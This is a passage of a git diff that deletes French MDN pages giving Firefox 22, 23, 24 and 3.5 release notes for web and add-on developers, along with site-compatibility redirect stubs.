  • resource:///modules/ et resource://gre/modules/ ne sont plus identiques ({{bug("755724")}}). Ce changement a eu lieu à cause du travail pour la version metro de Firefox. Si vous chargez des modules en utilisant resource:///modules/, vous devriez vérifier si vous ne préférez pas utiliser resource://gre/modules/ à la place. Notez que certains modules ont migrés de Firefox à Toolkit ({{bug("840287")}} et {{bug("811548")}} ont déplacé respectivement NewTabUtils.jsm et les modules thumbnail).
    • -
  • Le SDK Add-on est maintenant inclus dans Firefox ({{bug("731779")}})
    • -
  • L'API History a vu plusieurs API dépréciées, retirées : -
      -
    • Remplacées par mozIAsyncFavicons : -
        -
      • nsIFaviconService::setFaviconUrlForPage
        • -
      • nsIFaviconService::setFaviconData
        • -
      • nsIFaviconService::getFaviconData
        • -
      • nsIFaviconService::getFaviconForPage
        • -
      • nsIFaviconService::setAndLoadFaviconForPage
        • -
      • nsIFaviconService::getFaviconImageForPage
        • -
      • nsIFaviconService::getFaviconDataAsDataURL
        • -
      -
      • -
    • Remplacées par mozIAsyncLivemarks : -
        -
      • nsILivemarkService::*
        • -
      • PlacesUtils.itemIsLivemark
        • -
      • PlacesUtils.nodeIsLivemarkContainer
        • -
      • PlacesUtils.nodeIsLivemarkItem
        • -
      -
      • -
    • Retire seulement le 3e arguments : -
        -
      • PlacesUIUtils.showBookmarkDialog
        • -
      -
      • -
    • Plus implementé par Places, utilisez mozIAsyncHistory à la place : -
        -
      • nsIGlobalHistory2::addURI
        • -
      • nsIGlobalHistory2::isVisited
        • -
      • nsIGlobalHistory2::setPageTitle
        • -
      -
      • -
    • Plus nécessaire, utilisez onDeleteURI ou onItemRemoved: -
        -
      • nsINavHistoryObserver::OnBeforeDeleteURI
        • -
      • nsINavBookmarkObserver::OnBeforeItemRemoved
        • -
      -
      • -
    • Jamais implementé correctement : -
        -
      • nsINavHistoryFullVisitResultNode
        • -
      -
      • -
    • Déprécié, utilisez mozIAsyncHistory::updatePlaces à la place : -
        -
      • nsINavHistoryService::AddVisit
        • -
      -
      • -
    -
    • -
  • nsIHttpChannel.redirectTo a été ajouté pour permettre de rediriger les canaux HTTP sans faire des bidouilles fragiles.
    • -
- -

Voir également

- - - -

Anciennes versions

- -
{{Firefox_for_developers('20')}}
diff --git a/files/fr/mozilla/firefox/versions/21/site_compatibility/index.html b/files/fr/mozilla/firefox/versions/21/site_compatibility/index.html deleted file mode 100644 index 0baf393fc3..0000000000 --- a/files/fr/mozilla/firefox/versions/21/site_compatibility/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Compatibilité des sites avec Firefox 21 -slug: Mozilla/Firefox/Versions/21/Site_compatibility -tags: - - Compatibilité - - Développement Web - - Firefox - - Firefox 21 - - FxSiteCompat -translation_of: Mozilla/Firefox/Releases/21/Site_compatibility ---- -
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/versions/22/index.html b/files/fr/mozilla/firefox/versions/22/index.html deleted file mode 100644 index d772c8108d..0000000000 --- a/files/fr/mozilla/firefox/versions/22/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Firefox 22 pour les développeurs -slug: Mozilla/Firefox/Versions/22 -translation_of: Mozilla/Firefox/Releases/22 ---- -
{{FirefoxSidebar}}

Vous voulez aider à documenter Firefox 22 ? Parcourez la liste des bugs qui ont besoin d'être documentés et lancez-vous !

- -

Changements pour les développeurs Web

- -

HTML

- -
    -
  • L'élément HTML5 {{HTMLElement("data")}} a été implémenté ({{bug(839371)}}).
    • -
  • Le type range de l'élément {{HTMLElement("input")}} (<input type="range">) a été implémenté mais n'est seulement activé que dans les canaux Aurora et Nightly pour l'instant ({{bug(841948)}}).
    • -
- -

JavaScript

- -
    -
  • Les optimizations Asm.js sont activées, rendant possible la compilation d'applications C / C++ vers un sous-ensemble Javascript pour de meilleures performances.
    • -
  • La syntaxe ES6 Arrow Function a été implémentée ({{bug(846406)}}).
    • -
  • La nouvelle fonction Object.is a été ajoutée ({{bug(839979)}}).
    • -
- -

DOM

- -
    -
  • Support de la propriété multipart avec XMLHttpRequest. Les réponses multipart/x-mixed-replace dans XMLHttpRequest ont été supprimées. C'était une fonctionnalité uniquement supportée par Gecko et jamais standardisée. Il est possible d'utiliser Server-Sent Events et Web Sockets ou d'inspecter la propriété responseText des progress events à la place.
    • -
  • Le support des Web Notifications est activé par défaut. ({{bug(782211)}}).
    • -
  • La méthode {{domxref("XMLHttpRequest/FormData", "FormData")}}  append accepte maintenant un troisième paramètre optionnel filename ({{bug(690659)}}).
    • -
  • {{domxref("Node.isSupported")}} a été supprimé ({{bug(801562)}}).
    • -
  • {{domxref("Node.setUserData")}} et {{domxref("Node.getUserData")}} ont été supprimés pour le contenu web et dépréciés pour le contenu chrome ({{bug(842372)}})
    • -
  • Un backend Mac OS X pour {{domxref("DeviceLightEvent", "Ambient Light Events")}} a été implémenté.
    • -
  • Les éléments du namespace HTML avec les noms locaux "bgsound", "multicol", et "image" n'utilisent plus l'interface HTMLSpanElement.  "bgsound" et "multicol" utilisent HTMLUnknownElement et "image" utilise HTMLElement.
    • -
- -

CSS

- -
    -
  • Le support de CSS Flexbox layout a été activé par défaut ({{bug("841876")}}).
    • -
  • Le support de CSS Conditionals ({{cssxref("@supports")}} et {{domxref("CSS.supports")}}) ont été activés par défaut ({{bug("855455")}}).
    • -
- -

Changements pour les développeurs Mozilla et développeurs d'add-on

- -
    -
  • Le paramètre properties a été supprimé des méthodes {{ifmethod('nsITreeView','getCellProperties')}}, {{ifmethod('nsITreeView','getColumnProperties')}} et {{ifmethod('nsITreeView','getRowProperties')}} de l'interface {{interface('nsITreeView')}}. Ces méthodes retourneront maintenant un string de noms de propriétés séparées par des espaces. ({{bug('407956')}})
    • -
  • La méthode {{ifmethod('inIDOMUtils', 'getCSSPropertyNames')}} a été implémentée et retourne le nom de toutes les propriétés CSS supportées.
    • -
  • Voir tous les changements.
    • -
- -

Outils pour développeurs de Firefox

- -
    -
  • L'inspecteur de polices montre quelles polices sur votre ordinateur ont été appliquées sur cette page.
    • -
  • Le mode d'affichage de rendu visuel montre quand et où une page est re-rendue.
    • -
  • Les outils pour développeurs peuvent maintenant être affichés à droite d'une fenêtre et plus seulement en bas.
    • -
  • Certains onglets des outils pour développeurs sont passés de XUL à HTML. Par exemple, l'onglet présentant les règles css fait maintenant partie de chrome://browser/content/devtools/cssruleview.xhtml, et pas de  cssruleview.xul. Au lieu d'ajouter une couche pour ajouter des fonctionnalités directement sur ces onglets, vous pouvez ajouter une couche et la lier par script au document xul externe afin d'ajouter des écouteurs d'événements et de changer ces documents html.
    • -
  • L'affichage en pile est maintenant affiché en fil d'Ariane en haut de l'onglet et la liste des scripts est maintenant sur la gauche du débuggeur.
    • -
- -

A voir aussi

- - - -

Versions

- -
{{Firefox_for_developers('21')}}
diff --git a/files/fr/mozilla/firefox/versions/22/site_compatibility/index.html b/files/fr/mozilla/firefox/versions/22/site_compatibility/index.html deleted file mode 100644 index d58f2a06c8..0000000000 --- a/files/fr/mozilla/firefox/versions/22/site_compatibility/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Compatibilité des sites avec Firefox 22 -slug: Mozilla/Firefox/Versions/22/Site_compatibility -tags: - - Compatibilité - - Développement Web - - Firefox - - Firefox 22 - - FxSiteCompat -translation_of: Mozilla/Firefox/Releases/22/Site_compatibility ---- -
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/versions/23/index.html b/files/fr/mozilla/firefox/versions/23/index.html deleted file mode 100644 index 6d9da9604c..0000000000 --- a/files/fr/mozilla/firefox/versions/23/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Firefox 23 pour les développeurs -slug: Mozilla/Firefox/Versions/23 -translation_of: Mozilla/Firefox/Releases/23 ---- -
{{FirefoxSidebar}}
Changements pour les développeurs Web
- -

Sécurité

- -
    -
  • Blocage des contenus mixte. Firefox ne charge plus les ressources non-sécurisées (http) sur une page sécurisée (https). ({{bug(834836)}})
    • -
  • La syntaxe standard de CSP 1.0 a été implémentée et appliquée par défaut.
    • -
- -

Outils de développement

- -
    -
  • Un panneau Réseau a été ajouté aux outils de développement. C'est une vue plus détaillée que la vue "Réseau" présente dans la console Web.
    • -
  • La console Web a été renommée en "Console", et inclus une option pour filtrer les erreurs/avertissement de sécruité.
    • -
  • Les nouvelles options des outils vous permettent de désactiver des fonctionnalités, de changer de thème (sombre ou clair), ou d'activer le débogage du Chrome.
    • -
- -

HTML

- -
    -
  • Le support de l'élément {{HTMLElement("blink")}} a désormais été abandonné. La balise <blink> fait désormais partie de l'interface {{domxref("HTMLUnknownElement")}} ({{bug(857820)}}.)
    • -
  • Le type range de l'élément {{HTMLElement("input")}} (<input type="range">) a été activé par défaut ({{bug(841950)}}).
    • -
- -

JavaScript

- -
    -
  • La méthode Object.defineProperty peut désormais être utilisée pour redéfinir la propriété length d'un objet Array.
    • -
  • L'option pour désactiver JavaScript, incluant les options pour permettre de déplacer une fenêtre/remplacer le menu contextuel, a été retirée. Vous pouvez toujours désactiver JavaScript en double-cliquant sur l'option "javascript.enabled" dans about:config.
    • -
- -

DOM

- -
    -
  • D3E KeyboardEvent.key est désormais supporté, mais seulement pour les éléments non-imprimables ({{bug(842927)}}).
    • -
  • L'attribut title de {{domxref("DOMImplementation.createHTMLDocument")}} est désormais optionnel, d'après la mise à jour de la spécification DOM.
    • -
  • La possibilité d'ajouter un panneau latéral (window.sidebar.addPanel) a été abandonnée ({{bug(691647)}}).
    • -
  • Les méthodes {{domxref("Window.requestAnimationFrame")}} et {{domxref("Window.cancelAnimationFrame")}} sans préfixe ont été ajoutées ({{bug(704063)}}).
    • -
  • Le rappel pour {{domxref("Window.requestAnimationFrame")}} reçoit désormais {{domxref("DOMHighResTimeStamp")}} comme argument à la place de {{domxref("DOMTimeStamp")}}, moins précis, qui est utilisé dans la version sans préfixe ({{bug(753453)}}).
    • -
  • L'argument text pour {{domxref("window.alert")}} et {{domxref("window.confirm")}} est désormais optionnel ({{bug(861605)}}).
    • -
  • La propriété {{domxref("HTMLMediaElement.initialTime")}}, retirée de la spécification, n'est plus supportée ({{bug(742537)}}).
    • -
  • Le constructeur {{domxref("AnimationEvent.AnimationEvent", "AnimationEvent()")}} a été ajoutée ({{bug(848293)}}).
    • -
  • La propriété {{domxref("AnimationEvent.pseudoElement")}} a été implémentée ({{bug(848293)}}).
    • -
  • Le constructeur {{domxref("TransitionEvent.TransitionEvent", "TransitionEvent()")}} a été ajoutée ({{bug(848291)}}).
    • -
  • La propriété {{domxref("TransitionEvent.pseudoElement")}} a été implémentée ({{bug(848291)}}).
    • -
  • {{domxref("TransitionEvent.initTransitionEvent()")}} et {{domxref("AnimationEvent.initAnimationEvent()")}} qui ne sont pas standardisées ont été retirées ({{bug(868751)}}).
    • -
- -

CSS

- -
    -
  • L'effet blink pour text-decoration: blink; n'a plus d'effet, mais c'est encore une valeur valide ({{bug(857820)}}).
    • -
  • Les pseudo-éléments {{cssxref("::after")}} et {{cssxref("::before")}} sont désormais des objets flexibles ({{bug(867454)}}).
    • -
  • La façon de calculer les unités viewport a été changée. en liaison avec overflow:auto, l'espace occupé par d'éventuelles barres de défilement n'est pas soustrait de la fenêtre, alors que dans le cas de overflow:scroll, ça l'est ({{bug(811403)}}).
    • -
- -

MathML

- -
    -
  • Les largeurs négatives pour l'élément {{MathMLElement("mspace")}} ont été implémentées ({{bug(717546)}}).
    • -
  • L'élément {{MathMLElement("semantics")}} détermine désormais l'enfant visible comme décrit dans la spécification MathML3.
    • -
- -

Changements pour les développeurs Mozilla et développeurs d'add-on

- -

Outils pour développeurs de Firefox

- -

Les add-ons qui ont recourt à chrome://browser/content/debugger.xul doivent désormais utiliser chrome://browser/content/devtools/debugger.xul. Vous pouvez ajouter des références à ces deux fichiers dans chrome.manifest pour la compatibilité.

- -

Voir aussi

- - - -

Anciennes versions

- -

{{Firefox_for_developers('22')}}

diff --git a/files/fr/mozilla/firefox/versions/23/site_compatibility/index.html b/files/fr/mozilla/firefox/versions/23/site_compatibility/index.html deleted file mode 100644 index ee40cc83d3..0000000000 --- a/files/fr/mozilla/firefox/versions/23/site_compatibility/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Compatibilité des sites avec Firefox 23 -slug: Mozilla/Firefox/Versions/23/Site_compatibility -tags: - - Compatibilité - - Développement Web - - Firefox - - Firefox 23 - - FxSiteCompat -translation_of: Mozilla/Firefox/Releases/23/Site_compatibility ---- -
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/versions/24/index.html b/files/fr/mozilla/firefox/versions/24/index.html deleted file mode 100644 index 7aa78478c5..0000000000 --- a/files/fr/mozilla/firefox/versions/24/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Firefox 24 pour les développeurs -slug: Mozilla/Firefox/Versions/24 -translation_of: Mozilla/Firefox/Releases/24 ---- -
{{FirefoxSidebar}}

Changements pour les développeurs Web

- -

CSS

- -
    -
  • Les deux valeurs -moz-zoom-in et -moz-zoom-out de la propriété {{cssxref("cursor")}} ont été dépréfixés pour zoom-in et zoom-out ({{bug("772153")}}).
    • -
  • Pour correspondre à la spécification, les mots-clés not, only, and et or ne peuvent plus être utilisés comme un type de média ({{bug("757554")}}).
    • -
- -

HTML

- -
    -
  • L'élément {{HTMLElement("track")}} a été implémenté derrière la préférence media.webvtt.enabled ({{bug(833385)}}).
    • -
- -

JavaScript

- -
    -
  • Les fonctions fléchées ne sont plus automatiquement en mode strict sauf si c'est spécifié avec "use strict" ({{bug(852762)}}).
    • -
  • La méthode String.prototype.repeat a été implémentée ({{bug(815431)}}).
    • -
  • Les méthodes {{jsxref("Set.prototype.values()")}}, {{jsxref("Set.prototype.keys()")}} et {{jsxref("Set.prototype.entries()")}} de l'objet {{jsxref("Set")}} ont été implémentées ({{bug("869996")}}).
    • -
- -

DOM

- -
    -
  • Le support du constructeur {{domxref("Range.Range", "Range()")}} a été ajouté ({{bug(868999)}}).
    • -
  • Le support du constructeur {{domxref("Text.Text", "Text()")}} a été ajouté ({{bug(869000)}}).
    • -
  • Le support du constructeur {{domxref("Comment.Comment", "Comment()")}} a été ajouté ({{bug(869006)}}).
    • -
  • Le support du constructeur {{domxref("DocumentFragment.DocumentFragment", "DocumentFragment()")}} a été ajouté ({{bug(869002)}}).
    • -
  • L'interface {{domxref("FocusEvent")}} a été implémentée ({{bug(855741)}}).
    • -
  • Le support de la méthode {{domxref("ChildNode.remove()")}} a été ajoutée ({{bug(856629)}}).
    • -
  • Les interfaces liées à l'élémént {{HTMLElement("track")}}, {{domxref("HTMLTrackElement")}}, {{domxref("TextTrack")}}, {{domxref("TextTrackCue")}}, {{domxref("TextTrackList")}} et {{domxref("TextTrackCueList")}} ont été implémentées derrière la préférence media.webvtt.enabled, sur false par défaut ({{bug(833385)}}).
    • -
  • L'interface {{domxref("Gamepad")}} et la méthode {{domxref("Navigator.getGamepads")}} ont été implémentées derrière la préférence dom.gamepad.enabled, sur false par défaut ({{bug(690935)}}).
    • -
  • Sur Firefox Desktop seulement, HTMLCanvasElement.getContext() peut désormais prendre la valeur de webgl, en plus de experimental-webgl ({{bug(870232)}}).
    • -
  • La méthode non standard mozLoadFrom() de {{domxref("HTMLMediaElement")}} a été retirée ({{bug(877135)}}).
    • -
- -

Outils de développement

- -
    -
  • L'inspecteur Réseau vous permet désormais de filtrer par type de contenu (CSS/Images/Polices etc.) et de voir la taille et les temps de chargement par pertinence.
    • -
  • Le panneau d'options des Outils de développement vous permet de désactiver temporairement Javascript.
    • -
  • Les développeurs d'extensions peuvent utiliser la nouvelle Console Web pour les scripts au niveau du Chrome (Remplace la console d'erreur).
    • -
- -

MathML

- -
    -
  • L'attribut dir pour contrôler le sens de lecture des formules, par ex. sur les éléments {{MathMLElement("math")}} ou {{MathMLElement("mrow")}}, est désormais équivalent à l'utilisation de la propriété CSS {{cssxref("direction")}}.
    • -
  • Le signe égal ("=") est désormais extensible.
    • -
  • La valeur "updiagonalarrow" pour la notation de l'attribut notation sur l'élément {{MathMLElement("menclose")}} a été ajouté.
    • -
- -

Changements pour les développeurs Mozilla et développeurs d'add-on

- -
    -
  • DocShell a désormais l'attribut allowMedia pour désactiver la lecture des médias ({{bug(759964)}}).
    • -
  • Les plugins de recherche Sherlock dans le répertoire de l'application ou du profile, ne seront plus chargés ({{bug(862143)}}).
    • -
- -

Voir aussi

- - - -

Anciennes versions

- -

{{Firefox_for_developers('23')}}

diff --git a/files/fr/mozilla/firefox/versions/24/site_compatibility/index.html b/files/fr/mozilla/firefox/versions/24/site_compatibility/index.html deleted file mode 100644 index 7cacf2fae5..0000000000 --- a/files/fr/mozilla/firefox/versions/24/site_compatibility/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Compatibilité des sites avec Firefox 24 -slug: Mozilla/Firefox/Versions/24/Site_compatibility -tags: - - Compatibilité - - Développement Web - - Firefox - - Firefox 24 - - FxSiteCompat - - Guide -translation_of: Mozilla/Firefox/Releases/24/Site_compatibility ---- -
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/versions/3.5/index.html b/files/fr/mozilla/firefox/versions/3.5/index.html deleted file mode 100644 index 375c8488d7..0000000000 --- a/files/fr/mozilla/firefox/versions/3.5/index.html +++ /dev/null @@ -1,233 +0,0 @@ ---- -title: Firefox 3.5 pour les développeurs -slug: Mozilla/Firefox/Versions/3.5 -tags: - - Firefox - - Firefox 3.5 -translation_of: Mozilla/Firefox/Releases/3.5 ---- -
{{FirefoxSidebar}}

Firefox 3.5 introduit un certain nombre de nouvelles fonctionnalités, ainsi qu'une gestion améliorée d'une grande variété de standards du Web. Cet article en fournit une longue liste, avec des liens vers des articles décrivant les améliorations majeures.

- -

Nouvelles fonctionnalités pour les développeurs dans Firefox 3.5

- -

Pour les développeurs de sites et d'applications web

- -

HTML5

- -
-
Utilisation d'audio et video dans Firefox
-
Firefox 3.5 ajoute la gestion des éléments HTML5 audio et video.
-
Ressources hors ligne dans Firefox
-
Firefox 3.5 gère entièrement la spécification de ressources hors ligne d'HTML5.
-
Glisser et déposer
-
L'API de glisser/déposer d'HTML5 permet de gérer le glisser/déposer d'éléments à l'intérieur et entre des sites web. Elle fournit également une API plus simple pour les extensions et applications basées sur Mozilla.
-
- -

Nouvelles fonctionnalités CSS

- -
-
Gestion des polices téléchargeables
-
La nouvelle règle-@ @font-face permet aux pages web de fournir des polices téléchargeables, afin qu'elles puissent être affichées exactement telles que l'auteur de la page les attend.
-
Media queries
-
Firefox 3.5 gère les requêtes de médias, qui améliorent le traitement des feuilles de style destinées à des médias particuliers.
-
Mise à jour de {{ cssxref(":before") }} et {{ cssxref(":after") }} pour CSS 2.1
-
Les pseudo-éléments :before et :after ont été mis à jour pour respecter complètement CSS 2.1, avec l'ajout des propriétés position, float et list-style-*, ainsi que de certaines valeurs de display.
-
Unité de longueur ch
-
L'unité ch peut à présent être utilisée à tout endroit où peut être indiquée une unité de longueur. 1ch est la largeur du caractère « 0 » (zéro).
-
{{ cssxref("opacity") }}
-
L'extension à CSS -moz-opacity de Mozilla a été supprimée en faveur de la propriété standard opacity.
-
{{ cssxref("text-shadow") }}
-
La propriété text-shadow, qui permet à du contenu web de spécifier des effets d'ombres sur le texte et les décorations de texte est à présent gérée.
-
{{ cssxref("word-wrap") }}
-
Cette nouvelle propriété permet au contenu d'indiquer si oui ou non les lignes de texte peuvent être coupées au milieu d'un mot afin d'empêcher un débordement lorsqu'une chaîne normalement insécable est trop longue pour rentrer dans une seule ligne.
-
Valeur pre-line pour la propriété white-space
-
La propriété {{ cssxref("white-space") }} accepte à présent la valeur pre-line.
-
{{ cssxref("-moz-box-shadow") }}
-
{{ cssxref("-moz-border-image") }}
-
{{ cssxref("-moz-column-rule") }}
-
{{ cssxref("-moz-column-rule-width") }}
-
{{ cssxref("-moz-column-rule-style") }}
-
{{ cssxref("-moz-column-rule-color") }}
-
La gestion de ces extensions à CSS de Mozilla a été ajoutée dans Firefox 3.5.
-
La {{ cssxref("valeur_de_couleur#Extensions_spécifiques_à_Mozilla","-moz-nativehyperlinktext") }}
-
Cette nouvelle valeur de couleur représente la couleur de lien hypertexte par défaut de l'utilisateur du système.
-
La nouvelle propriété {{ cssxref("-moz-window-shadow") }} et la pseudo-classe {{ cssxref(":-moz-system-metric(mac-graphite-theme)") }}
-
Ces nouvelles fonctionnalités CSS ont été ajoutées pour faciliter la mise en place de thèmes.
-
Nouvelles valeurs pour {{ cssxref("-moz-appearance") }}
-
Les valeurs -moz-win-glass et -moz-mac-unified-toolbar ont été ajoutées à -moz-appearance.
-
Utilisation des transformations CSS
-
Firefox 3.5 gère les transformations CSS. Consultez {{ cssxref("-moz-transform") }} et {{ cssxref("-moz-transform-origin") }} pour plus de détails.
-
{{ cssxref(":nth-child") }}
-
{{ cssxref(":nth-last-child") }}
-
{{ cssxref(":nth-of-type") }}
-
{{ cssxref(":nth-last-of-type") }}
-
{{ cssxref(":first-of-type") }}
-
{{ cssxref(":last-of-type") }}
-
{{ cssxref(":only-of-type") }}
-
Ces sélecteurs sont nouvellement gérés dans Firefox 3.5
-
- -

Nouvelles fonctionnalités DOM

- -
-
localStorage
-
Firefox 3.5 ajoute la gestion de la propriété localStorage pour le stockage web, fournissant ainsi une manière pour les applications web de stocker des données localement sur l'ordinateur du client.
-
Utilisation de workers DOM
-
Firefox 3.5 gère les workers DOM afin de permettre une gestion multithreadée dans les applications web.
-
Utilisation de la géolocalisation
-
Firefox 3.5 gère l'API Geolocation, qui permet aux applications web d'obtenir des informations concernant l'emplacement actuel de l'utilisateur si cette information est fournie et activée dans le système.
-
Identification d'éléments DOM à l'aide de sélecteurs
-
L'API Selectors permet d'interroger un document afin d'identifier les éléments correspondant à une règle de sélection donnée.
-
Évènements de mouvement de souris
-
Firefox 3.5 gère les évènements de mouvements de souris dont les glissades sur un trackpad.
-
L'objet NodeIterator
-
L'objet NodeIterator permet de parcourir la liste de nœuds dans un sous-arbre DOM.
-
L'évènement MozAfterPaint
-
Ce nouvel évènement DOM est envoyé après les mises à jour de l'affichage dans les fenêtres.
-
L'évènement MozMousePixelScroll
-
Ce nouvel évènement DOM permet de détecter les évènements de défilement à la souris par pixels plutôt que par ligne.
-
- -

Nouvelles fonctionnalités JavaScript

- -
-
Nouveautés dans JavaScript 1.8.1
-
Un aperçu de tous les changements dans JavaScript 1.8.1.
-
Object.getPrototypeOf()
-
Cette nouvelle méthode renvoie le prototype d'un objet spécifié.
-
Utilisation de JSON dans Firefox
-
La gestion de JSON est à présent intégrée dans le DOM.
-
Nouvelles méthodes de nettoyage des espaces sur l'objet String
-
L'objet String dispose à présent des méthodes trim(), trimLeft() et trimRight().
-
- -

Réseau

- -
-
Contrôle d'accès entre sites pour HTTP
-
Dans Firefox 3.5, il devient possible pour les requêtes HTTP, notamment celles faites au travers d'XMLHttpRequest, de fonctionne entre différents domaines si le serveur le permet.
-
Évènements de progression pour XMLHttpRequest
-
Des évènements de progression sont à présent émis pour permettre aux extensions de surveiller l'état des requêtes.
-
Amélioration des appels XMLHttpRequest synchrones
-
Les timeouts DOM et les évènements d'entrée sont à présent supprimés pendant un appel XMLHttpRequest synchrone.
-
Contrôle du préchargement DNS
-
Firefox 3.5 permet le préchargement DNS, par lequel il effectue la résolution des noms de domaines à l'avance pour les liens présents dans la page courante, afin de gagner du temps lorsque l'on clique effectivement sur ces liens. Cet article explique comment adapter votre site pour désactiver le préchargement, ou contrôler le comportement de ce préchargement.
-
- -

Nouvelles fonctionnalités de Canvas

- -
-
API HTML5 text pour les éléments canvas
-
Les éléments canvas gèrent à présent l'API texte d'HTML5.
-
Effets d'ombres dans un canvas
-
Les effets d'ombrages sont à présent gérés dans canvas.
-
createImageData()
-
La méthode createImageData() de canvas est à présent gérée, ce qui permet à du code de créer spécifiquement un objet ImageData plutôt que demander que ce soit fait automatiquement. Les performances d'autres méthodes d'ImageData peuvent en être améliorées puisqu'elles n'ont pas à créer l'objet.
-
Attribut moz-opaque
-
L'attribut DOM moz-opaque a été ajouté, ce qui permet à canvas de savoir si oui ou non la transparence devra être prise en compte. Si le canvas sait qu'il n'y a pas de transparence, les performances de dessin peuvent être optimisées.
-
- -

Nouvelles fonctionnalités SVG

- -
-
Application d'effets SVG à du contenu HTML
-
Vous pouvez à présent appliquer des effets SVG à du contenu HTML et XHTML ; cet article explique comment.
-
- -

Autres nouvelles fonctionnalités

- -
-
Correction de couleurs ICC dans Firefox
-
Firefox 3.5 gère à présent la correction de couleurs ICC pour les images balisées.
-
L'attribut defer est géré sur les éléments script
-
Cet attribut indique au navigateur qu'il peut décider de continuer d'analyser et d'afficher la page sans attendre que le script ait terminé son exécution.
-
- -

Autres améliorations

- -
    -
  • La propriété wholeText et la méthode replaceWholeText() ont été ajoutées aux nœuds texte.
    • -
  • La propriété element.children a été ajoutée. Elle renvoie une collection d'éléments enfants de l'élément donné.
    • -
  • L'API Element Traversal est à présent gérée par l'objet DOM Element.
    • -
  • Les nœuds HTML document peuvent à présent être clonés à l'aide de cloneNode().
    • -
  • La méthode DOM non-standard getBoxObjectFor() a été supprimée. Utilisez plutôt getBoundingClientRect().
    • -
  • Les éléments DOM dispatchés peuvent être redispatchés. Ceci permet à Firefox 3.5 de passer le test 30 d'Acid 3.
    • -
  • Des améliorations ont été apportés à la gestion de DOM 2 Range.
    • -
  • Dans un contexte non-chrome, les objets catchés dans les exceptions sont à présent les objets rejetés tels quels plutôt qu'une enveloppe XPConnect contenant ces objets.
    • -
  • Les références ID dans SVG sont à présent directes.
    • -
  • Les filtres SVG fonctionnent à présent avec foreignObject.
    • -
  • La méthode GetSVGDocument() a été ajoutée aux éléments object et iframe pour assurer une meilleure compatibilité.
    • -
  • La définition implicite de propriétés dans des initialiseurs d'objets et de tableaux n'exécute plus les mutateurs en JavaScript. Consultez le billet Object and array initializers should not invoke setters when evaluated pour plus de détails.
    • -
  • La variable gDownloadLastDir.path a été renommée en gDownloadLastDir.file étant donné qu'elle fait référence à un objet {{ interface("nsIFile") }} et non à un chemin.
    • -
  • La variable gDownloadLastDirPath a été renommée en gDownloadLastDirFile étant donné qu'elle fait référence à un objet {{ interface("nsIFile") }} et non à un chemin.
    • -
  • À partir de Firefox 3.5, il devient impossible d'utiliser des liaisons data: dans les paquets chrome qui bénéficient de l'automatisation XPCNativeWrapper.
    • -
- -

Pour les développeurs XUL et développeurs d'applications

- -

Si vous développez des extensions, vous devriez tout d'abord lire Mise à jour des extensions pour Firefox 3.5 qui fournit un aperçu pratique des changements qui pourraient affecter vos extensions.

- -

Nouveaux composants et nouvelles fonctionnalités

- -
-
Gestion du mode de navigation privée
-
Firefox 3.5 offre un mode de navigation privée, qui n'enregistre pas les activités de l'utilisateur. Les extensions peuvent gérer la navigation privée en suivant les conseils donnés dans cet article.
-
Changements liés à la sécurité dans Firefox 3.5
-
Cet article détaille les changements liés à la sécurité dans Firefox 3.5.
-
Changements dans les thèmes pour Firefox 3.5
-
Cet article détaille les changements liés aux thèmes dans Firefox 3.5.
-
Surveillance des points d'accès WiFi
-
Le code disposant des privilèges UniversalXPConnect peut à présent surveiller la liste des points d'accès disponibles, et obtenir des informations concernant leurs SSID, adresses MAC et force du signal. Ceci peut être utilisé couplé avec la géolocalisaiton pour fournir des services locaux basés sur la présence d'un WiFi.
-
- -

Changements et améliorations notables

- -
    -
  • Le widget XUL textbox offre à présent un type search, pour être utilisé en tant que champ de recherche.
    • -
  • Afin de gérer le glisser et déposer d'onglets entre les fenêtres, le widget browser dispose à présent d'une méthode swapDocShells().
    • -
  • Ajout de l'attribut level à l'élément panel ; celui-ci indique si le panel apparait par dessus les autres applications, ou uniquement au-dessus de la fenêtre contenant le panel.
    • -
  • Les éléments XUL gèrent à présent les propriétés clientHeight, clientWidth, scrollHeight et scrollWidth.
    • -
  • Les éléments keyset disposent à présent d'un attribut disabled.
    • -
  • De plus, les keysets peuvent être supprimés à l'aide de la méthode removeChild() du nœud.
    • -
  • mozIStorageStatement a vu sa méthode initialize() supprimée ; ses utilisateurs doivent utiliser la méthode createStatement() à la place pour obtenir un nouvel objet statement.
    • -
  • L'API Storage permet à présent d'effectuer des requêtes asynchrones.
    • -
  • L'interface nsICookie2 expose à présent l'heure à laquelle les cookies ont été créés dans son nouvel attribut creationTime.
    • -
  • Un flag a été ajouté à nsIProtocolHandler (URI_IS_LOCAL_RESOURCE) qui est vérifié au cours d'un enregistrement chrome pour s'assurer qu'un protocole a le droit d'être enregistré.
    • -
  • Firefox recherche à présent des plugins dans /usr/lib/mozilla/plugins sous Linux, outre les emplacements précédemment consultés.
    • -
  • L'API des plugins a été mise à jour pour gérer le mode de navigation privée ; vous pouvez à présent utiliser NPN_GetValue() pour connaître l'état du mode de navigation privée à l'aide de la variable NPNVprivateModeBool.
    • -
- -

Nouvelles fonctionnalités pour les utilisateurs

- -

Interface

- -
-
Navigation en fonction de sa localisation
-
Si vous le désirez, vous pouvez permettre à Firefox 3.5 de partager des informations concernant votre localisation géographique avec des sites web. Firefox 3.5 peut utiliser des informations sur le réseau auquel votre machine est connectée pour partager votre localisation. Bien évidemment, votre permission sera demandée au préalable afin de préserver votre vie privée.
-
Gestion de la vidéo et de l'audio ouverts
-
Firefox 3.5 gère l'intégration de vidéos et d'extraits audio à l'aide du format ouvert Ogg, ainsi qu'au format WAV pour l'audio. Aucun plugin nécessaire, pas de messages d'erreurs incompréhensibles vous demandant d'installer quelque chose qui n'est en fait pas disponible sur votre plateforme.
-
Stockage local de données
-
